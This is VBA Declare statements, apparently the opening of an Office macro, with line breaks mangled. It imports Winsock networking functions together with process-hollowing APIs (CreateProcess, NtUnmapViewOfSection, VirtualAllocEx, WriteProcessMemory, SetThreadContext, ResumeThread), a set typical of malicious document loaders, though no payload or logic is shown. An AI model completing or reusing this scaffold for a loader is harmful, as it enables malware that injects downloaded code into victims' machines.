Public Declare PtrSafe Function WSAStartup Lib
"ws2_32.dll"
(ByVal wVersionRequested As Integer, ByRef data As WSADATA) As
Long
Public Declare PtrSafe Function connect Lib
"ws2_32.dll"
(ByVal socket As LongLong, ByVal SOCKADDR As LongLong, ByVal namelen As
Long
) As
Long
Public Declare PtrSafe Sub WSACleanup Lib
"ws2_32.dll"
()
Private Declare PtrSafe Function GetAddrInfo Lib
"ws2_32.dll"
Alias
"getaddrinfo"
(ByVal NodeName As String, ByVal ServName As String, ByVal lpHints As LongLong, lpResult As LongLong) As
Long
Public Declare PtrSafe Function ws_socket Lib
"ws2_32.dll"
Alias
"socket"
(ByVal AF As
Long
, ByVal stype As
Long
, ByVal Protocol As
Long
) As
Long
Public Declare PtrSafe Function closesocket Lib
"ws2_32.dll"
(ByVal socket As
Long
) As
Long
Private Declare PtrSafe Sub CopyMemory Lib
"kernel32"
Alias
"RtlMoveMemory"
(Destination As
Any
, Source As
Any
, ByVal Length As
Long
)
Public Declare PtrSafe Function Send Lib
"ws2_32.dll"
Alias
"send"
(ByVal s As
Long
, ByRef buf As
Any
, ByVal buflen As
Long
, ByVal flags As
Long
) As
Long
Public Declare PtrSafe Function Recv Lib
"ws2_32.dll"
Alias
"recv"
(ByVal s As
Long
, ByRef buf As
Any
, ByVal buflen As
Long
, ByVal flags As
Long
) As
Long
Public Declare PtrSafe Function SendWithPtr Lib
"ws2_32.dll"
Alias
"send"
(ByVal s As
Long
, ByVal bufPtr As
Long
, ByVal buflen As
Long
, ByVal flags As
Long
) As
Long
Private Declare PtrSafe Function WSAGetLastError Lib
"ws2_32.dll"
() As
Long
Private Declare PtrSafe Sub RtlMoveMemory Lib
"kernel32"
(ByVal lDestination As LongPtr, ByVal sSource As LongPtr, ByVal lLength As
Long
)
Private Declare PtrSafe Function GetModuleFileName Lib
"kernel32"
Alias
"GetModuleFileNameA"
(ByVal hModule As LongPtr, ByVal lpFilename As String, ByVal nSize As
Long
) As
Long
Private Declare PtrSafe Function CreateProcess Lib
"kernel32"
Alias
"CreateProcessA"
(ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, ByVal bInheritHandles As Boolean, ByVal dwCreationFlags As
Long
, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As
Long
Private Declare PtrSafe Function GetThreadContext Lib
"kernel32"
(ByVal hThread As LongPtr, lpContext As CONTEXT) As
Long
Private Declare PtrSafe Function ReadProcessMemory Lib
"kernel32"
(ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, ByVal lpBuffer As LongPtr, ByVal nSize As
Long
, ByVal lpNumberOfBytesRead As
Long
) As
Long
Private Declare PtrSafe Function VirtualAllocEx Lib
"kernel32"
(ByVal hProcess As LongPtr, ByVal lpAddress As LongPtr, ByVal dwSize As
Long
, ByVal flAllocationType As
Long
, ByVal flProtect As
Long
) As LongPtr
Private Declare PtrSafe Function WriteProcessMemory Lib
"kernel32"
(ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, ByVal lpBuffer As LongPtr, ByVal nSize As
Long
, ByVal lpNumberOfBytesWritten As
Long
) As
Long
Private Declare PtrSafe Function SetThreadContext Lib
"kernel32"
(ByVal hThread As LongPtr, lpContext As CONTEXT) As
Long
Private Declare PtrSafe Function ResumeThread Lib
"kernel32"
(ByVal hThread As LongPtr) As
Long
Private Declare PtrSafe Function TerminateProcess Lib
"kernel32"
(ByVal hProcess As LongPtr, ByVal uExitCode As Integer) As
Long
Public Declare PtrSafe Function NtUnmapViewOfSection Lib
"ntdll.dll"
(ByVal handleProcess As LongPtr, ByVal imageAddress As LongPtr) As
Long
Private Declare PtrSafe Sub Sleep Lib
"kernel32"
(ByVal dwMilliseconds As
Long
)
Public Declare Function WSAStartup Lib
"ws2_32.dll"
(ByVal wVersionRequested As Integer, ByRef data As WSADATA) As
Long
Public Declare Function connect Lib
"ws2_32.dll"
(ByVal socket As
Long
, ByVal SOCKADDR As
Long
, ByVal namelen As
Long
) As
Long
Public Declare Sub WSACleanup Lib
"ws2_32.dll"
()
Private Declare Function GetAddrInfo Lib
"ws2_32.dll"
Alias
"getaddrinfo"
(ByVal NodeName As String, ByVal ServName As String, ByVal lpHints As
Long
, lpResult As
Long
) As
Long
Public Declare Function ws_socket Lib
"ws2_32.dll"
Alias
"socket"
(ByVal AF As
Long
, ByVal stype As
Long
, ByVal Protocol As
Long
) As
Long
Public Declare Function closesocket Lib
"ws2_32.dll"
(ByVal socket As
Long
) As
Long
Private Declare Function CopyMemory Lib
"kernel32"
Alias
"RtlMoveMemory"
(Destination As
Any
, Source As
Any
, ByVal Length As
Long
) As
Long
Public Declare Function Send Lib
"ws2_32.dll"
Alias
"send"
(ByVal s As
Long
, ByRef buf As
Any
, ByVal buflen As
Long
, ByVal flags As
Long
) As
Long
Public Declare Function Recv Lib
"ws2_32.dll"
Alias
"recv"
(ByVal s As
Long
, ByRef buf As
Any
, ByVal buflen As
Long
, ByVal flags As
Long
) As
Long
Public Declare Function SendWithPtr Lib
"ws2_32.dll"
Alias
"send"
(ByVal s As
Long
, ByVal bufPtr As
Long
, ByVal buflen As
Long
, ByVal flags As
Long
) As
Long
Private Declare Function WSAGetLastError Lib
"ws2_32.dll"
() As
Long
Private Declare Function VarPtrArray Lib
"VBE7"
Alias
"VarPtr"
(var() As
Any
) As
Long
Private Declare Sub RtlMoveMemory Lib
"kernel32"
(ByVal lDestination As
Long
, ByVal sSource As
Long
, ByVal lLength As
Long
)
Private Declare Function GetModuleFileName Lib
"kernel32"
Alias
"GetModuleFileNameA"
(ByVal hModule As
Long
, ByVal lpFilename As String, ByVal nSize As
Long
) As
Long
Private Declare Function CreateProcess Lib
"kernel32"
Alias
"CreateProcessA"
(ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As
Long
, ByVal lpThreadAttributes As
Long
, ByVal bInheritHandles As Boolean, ByVal dwCreationFlags As
Long
, ByVal lpEnvironment As
Long
, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As
Long
Private Declare Function GetThreadContext Lib
"kernel32"
(ByVal hThread As
Long
, lpContext As CONTEXT) As
Long
Private Declare Function ReadProcessMemory Lib
"kernel32"
(ByVal hProcess As
Long
, ByVal lpBaseAddress As
Long
, ByVal lpBuffer As
Long
, ByVal nSize As
Long
, ByVal lpNumberOfBytesRead As
Long
) As
Long
Private Declare Function VirtualAllocEx Lib
"kernel32"
(ByVal hProcess As
Long
, ByVal lpAddress As
Long
, ByVal dwSize As
Long
, ByVal flAllocationType As
Long
, ByVal flProtect As
Long
) As
Long
Private Declare Function WriteProcessMemory Lib
"kernel32"
(ByVal hProcess As
Long
, ByVal lpBaseAddress As
Long
, ByVal lpBuffer As
Long
, ByVal nSize As
Long
, ByVal lpNumberOfBytesWritten As
Long
) As
Long
Private Declare Function SetThreadContext Lib
"kernel32"
(ByVal hThread As
Long
, lpContext As CONTEXT) As
Long
Private Declare Function ResumeThread Lib
"kernel32"
(ByVal hThread As
Long
) As
Long
Private Declare Function TerminateProcess Lib
"kernel32"
(ByVal hProcess As
Long
, ByVal uExitCode As Integer) As
Long
Public Declare Function NtUnmapViewOfSection Lib
"ntdll.dll"
(ByVal handleProcess As
Long
, ByVal imageAddress As
Long
) As
Long
Private Declare Sub Sleep Lib
"kernel32"
(ByVal dwMilliseconds As
Long
)